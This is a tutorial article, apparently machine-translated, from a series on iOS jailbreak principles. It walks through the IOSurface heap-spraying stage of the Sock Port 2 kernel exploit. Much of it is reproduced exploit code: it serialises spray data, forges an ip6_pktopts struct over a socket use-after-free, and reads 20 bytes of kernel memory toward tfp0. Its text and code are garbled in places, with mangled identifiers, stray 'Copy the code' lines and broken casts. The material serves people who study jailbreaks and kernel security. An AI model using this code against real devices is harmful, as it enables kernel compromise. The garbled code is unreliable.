series

  1. IOS Jailbreak Principles – Sock Port (UI
  2. IOS Jailbreak Principles – Sock Port (2) Leak the Port Address through Mach OOL Message

preface

In the last article, we introduced the OOL Message-based Port Address Spraying, which is very limited and can only be used to populate the freed area with Port Addresses. A key point of implementing TFP0 is to populate the freed area with arbitrary data, which requires us to look for other functions to use as Heap Spraying tools.

This paper will introduce a Heap Spraying method based on IOSurface, which can spray arbitrary data to a specified location.

What is IOSurface

According to Apple’s documentation [1], the functions of IOSurface Framework are as follows:

The IOSurface framework provides a framebuffer object suitable for sharing across process boundaries. It is commonly used to allow applications to move complex image decompression and draw logic into a separate process to enhance security.

IOSurface. Framework provides a cross-process shared frame buffer, which is often used to separate complex image decoding and drawing logic into a separate process to improve security.

IOSurface. Framework, iPhone Dev Wiki [2] :

IOSurface is an object encompassing a kernel-managed rectangular pixel buffer in the IOSurface framework. It is a thin wrapper on top of an IOSurfaceClient object which actually interfaces with the kernel.

IOSurface is a Kernel managed object that encapsulates IOSurfaceClient. Since this object is allocated to the Kernel memory area, we have the opportunity to use it to implement Kernel Heap Spraying.

Application scenario of IOSurface Heap Spraying

In the Sock Port overview of the previous article, we mentioned that the in6P_outputopts member can be used to implement unstable kernel memory read and release by forging an IN6P_outputopts structure and using the Minmtu member as a flag bit. An additional structure pointer, in6_pktinfo, is used to give us the address we want to read, as follows:

// create a fake struct with our dangling port address as its pktinfo
struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
// give a number we can recognize
fake_opts->ip6po_minmtu = 0x41424344; 
// on iOS 10, minmtu offset is different* (uint32_t((*)uint64_t)fake_opts + 164) = 0x41424344;
// address to read
fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
Copy the code

Then we use Socket UAF to create a large number of released IN6P_outputopts areas, and then spray the above forged data into the Socket UAF area, read minMTU through getsockopt to confirm the success of the Spraying. After success, the ip6PO_PKtINFO structure is read by getsockopt. Since the size of IP6PO_PKtINFO is 20B, we can read 20B data of the target address in this way at one time.

As you can see, the key is to implement fake In6P_outputopts (PN), and IOSurface is perfect for this scenario because it can send arbitrary data to the kernel buffer.

Details of IOSurface Heap Spraying

Sock Port 2 provides the IOSurface function.

int spray_IOSurface(void *data, size_t size) { return ! IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL); } bool IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { return IOSurface_spray_with_gc_internal(array_count, array_length, 0, data, data_size, callback); }Copy the code

The Facade function is spray_IOSurface, which only needs to provide the data and size to be sprayed. It is a simple encapsulation of IOSurface_spray_with_gc and provides the default configuration for the generated OSArray. Array_count = 32 means that 32 Heap times have been created, and array_length = 256 means that each Array contains 256 pieces of Data.

XML structure

In IOSurface_spray_with_gc_internal, the OSSerializeBinary XML is constructed first:

static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
    Create an IOSurfaceRootClient object to communicate with the kernel
    // Make sure our IOSurface is initialized.
    bool ok = IOSurface_init();
    if(! ok) {return 0;
    }
    
    Extra_count = 0 in our current usage, so we can ignore extra_count
    // How big will our OSUnserializeBinary dictionary be?
    uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
    
    // 3. Calculate the NUMBER of XML nodes required by Spraying Data
    size_t xml_units_per_data = xml_units_for_data_size(data_size);
    
    // 4. The multiple ones here represent the fixed XML nodes other than the Spraying Data, as will be seen later
    size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
    
    Construct the arGS passed into the kernel, which contains the XML to be constructed and other descriptions
    // Allocate the args struct.
    struct IOSurfaceValueArgs *args;
    size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]); args = malloc(args_size); assert(args ! =0);
    // Build the IOSurfaceValueArgs.
    args->surface_id = IOSurface_id;
    // Create the serialized OSArray. We'll remember the locations we need to fill in with our
    
    // 6. Each XML contains an OSArray to hold the Spraying Data
    // The xml_data array holds current_ARRAY_LENGTH (256) xml_data
    // Each XML_data contains a polished Data, which is made up of multiple XML nodes
    // data as well as the slot we need to set our key.
    uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data)); assert(xml_data ! =NULL);
    uint32_t *key;
    
    // 7. Construct XML
    size_t xml_size = serialize_IOSurface_data_array(args->xml,
    		current_array_length, data_size, xml_data, &key);
    assert(xml_size == xml_units * sizeof(args->xml[0]));
    // ...
Copy the code

The above construction process is a complex one, with seven key steps, which have been commented in the above code so that the reader can get a rough idea of the whole process before we examine them in detail.

XML Spraying principle

In step 7, we constructed an OSArray with 256 OSStrings, where OSStrings are serialized Data. After sending XML to the kernel buffer via IOSurfaceRootClient, The kernel allocates space for these OSStrings, which are the data we need to spray, so Heap Spraying of arbitrary data has been successfully done in this way.

Key data calculation

Each node of the XML object used for IOSurface transfer can be represented by a uint32, called an XML Unit. Since the length of the input must be specified for the IOSurface call, it is crucial to calculate the size of the XML used for each round.

In Step 3, we calculated the number of XML Units corresponding to the Spraying Data:

// 3. Calculate the NUMBER of XML nodes required by Spraying Data
size_t xml_units_per_data = xml_units_for_data_size(data_size);

/* * xml_units_for_data_size * * Description: * Return the number of XML units needed to store the given size of data in an OSString. */
static size_t
xml_units_for_data_size(size_t data_size) {
    return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}
Copy the code

Since the serialized data is represented as OSString in the kernel, we need to consider the ending \0, so only the last bit of the data can be sacrificed as \0, so the actual size is size-1. The following formula is converted to (actual_size + n-1)/n, This is a typical Ceiling function, that is, round up the actual_size divided by 4(XML Unit Size) to get the XML Units Count occupied by the OSString corresponding to each Spraying Data. And stored in xml_units_per_data.

Then, in Step 4, we calculate the total XML Units Count based on xml_units_per_data:

size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
Copy the code

Where (1 + xml_unitS_per_data) * current_ARRAY_length Repeat the Units Count after current_ARRAY_LENGTH in the OSString Header + Data structure several times, and the three 1s before and after each represent additional descriptive XML Units.

Finally, in Step 6, we prepare an array of Pointers to XML Units to point to the Child Unit Header of the CURRENT_ARRAY_LENGTH field of OSString to be filled in the XML, which will be used during XML construction. Save the Header Unit Address for the CURRENT_ARRAY_LENGTH OSString so that you can copy your Data to XML later.

Construction process

The key to construction is the call to serialize_IOSurface_data_array in Step 7:

#if 0
struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t _out1;
    union {
        uint32_t xml[0];
        char string[0];
    };
};
#endif
struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);
// 7. Construct XML
uint32_t *key;
uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);
Copy the code

Here, args-> XML is the XML Units pointer, which refers to XML by pointing to an XML Header Unit.

Due to good preparation, the calculation here is not complicated, just a concatenation of XML linked lists:

static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size, uint32_t **xml_data, uint32_t **key) {
    uint32_t *xml = xml0;
    *xml++ = kOSSerializeBinarySignature;
    *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    *xml++ = kOSSerializeArray | array_length;
    for (size_t i = 0; i < array_length; i++) {
    	uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
    	*xml++ = kOSSerializeData | (data_size - 1) | flags;
    	xml_data[i] = xml;
    	xml += xml_units_for_data_size(data_size);
    }
    *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
    *key = xml++; // This will be filled in on each array loop.
    *xml++ = 0;	// Null-terminate the symbol.
    return (xml - xml0) * sizeof(*xml);
}
Copy the code

Xml0 is the Header Units of the current XML. We define an XML variable as a Cursor and build XML step by step. Each XML Unit is described by a uint32.

*xml++ = kOSSerializeBinarySignature;
*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
*xml++ = kOSSerializeArray | array_length;
Copy the code

It essentially declares the following XML structure:

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
Copy the code

It is exactly the first three ones from the XML Units Count calculation above.

The following loop populates the OSArray with array_LENGTH osStrings and stores the XML Unit addresses of these OSStrings into the XML_data pointer array:

for (size_t i = 0; i < array_length; i++) {
	uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
	*xml++ = kOSSerializeData | (data_size - 1) | flags;
	xml_data[i] = xml;
	xml += xml_units_for_data_size(data_size);
}
Copy the code

This builds the following XML:

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1} >
        <! -- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1} >
        <! -- xml_data[1] -->
    </kOSSerializeData>
    <! -... -->
    <kOSSerializeData length=${data_size - 1} >
        <! -- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>
Copy the code

Finally, fill in the trailing XML Units:

*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
*key = xml++; // This will be filled in on each array loop.
*xml++ = 0; // Null-terminate the symbol.
Copy the code

There are three Units:

<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0
Copy the code

This also confirms the +3 at the end of the calculation of XML Units above, so the resulting XML is:

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1} >
        <! -- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1} >
        <! -- xml_data[1] -->
    </kOSSerializeData>
    <! -... -->
    <kOSSerializeData length=${data_size - 1} >
        <! -- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0
Copy the code

Now that the XML structure has been built, you just populate the XML_data placeholder with your Data and the key with your identifier to complete the assembly.

The assembly data

The following code does the data filling and sending data to the kernel, which is easy to understand based on the above discussion:

// Keep track of when we need to do GC.
static uint32_t total_arrays = 0;
size_t sprayed = 0;
size_t next_gc_step = 0;
// Loop through the arrays.
for (uint32_t array_id = 0; array_id < array_count; array_id++) {
    // If we've crossed the GC sleep boundary, sleep for a bit and schedule the
    // next one.
    // Now build the array and its elements.
    // 1. Generate a unique identifier to populate the key
    *key = base255_encode(total_arrays + array_id);
    for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
        // Copy in the data to the appropriate slot.
        // 2. Populate the OSString with data
        memcpy(xml_data[data_id], data, data_size - 1);
    }
    
    // 3. Send data to the kernel
    // Finally set the array in the surface.
    ok = IOSurface_set_value(args, args_size);
    if(! ok) {free(args);
    	free(xml_data);
    	return false;
    }
    if(ok) { sprayed += data_size * current_array_length; }}Copy the code

The three key steps highlighted in the code above will send the assembled XML into the kernel frame buffer, and the kernel will allocate memory for the OSString within it, thus completing Heap Spraying.

Implement KREAD using IOSurface Heap Spraying

By constructing multiple overhanging IN6P_Outputopts, and then using forged IN6P_Outputopts to conduct THE SPRAYING. The PKTINFO of forged data structure is pointed to the address to be read, and minMTU is used as the identifier to conduct the IOSurface spraying. Then select the overhang IN6P_outputopts area based on minmtu and use getSockopt to obtain the pktINFO structure content. Since the structure size is 20B, we get the data of the designated kernel address 20B:

// second primitive: read 20 bytes from addr
void* read_20_via_uaf(uint64_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize* (uint32_t((*)uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = - 1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = - 1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break; }}if (found) break;
    }
    
    free(fake_opts);
    
    if(! found) {printf("[-] Failed to read kernel\n");
        return 0;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    
    return buf;
}
Copy the code

conclusion

In this paper, a more general Heap Spraying scheme is introduced, and the process and principle of implementing KREAD through this scheme are introduced.

Next day forecast

It is not only kREAD but also KFree that can be achieved by IOSurface Spraying. In the next article, we’ll cover the final steps of implementing TFP0 through a combination of kread + kFree.

The resources

  1. IOSurface Framework. Apple Document
  2. IOSurface. iPhone Dev Wiki
  3. Sock Port 2. jakeajames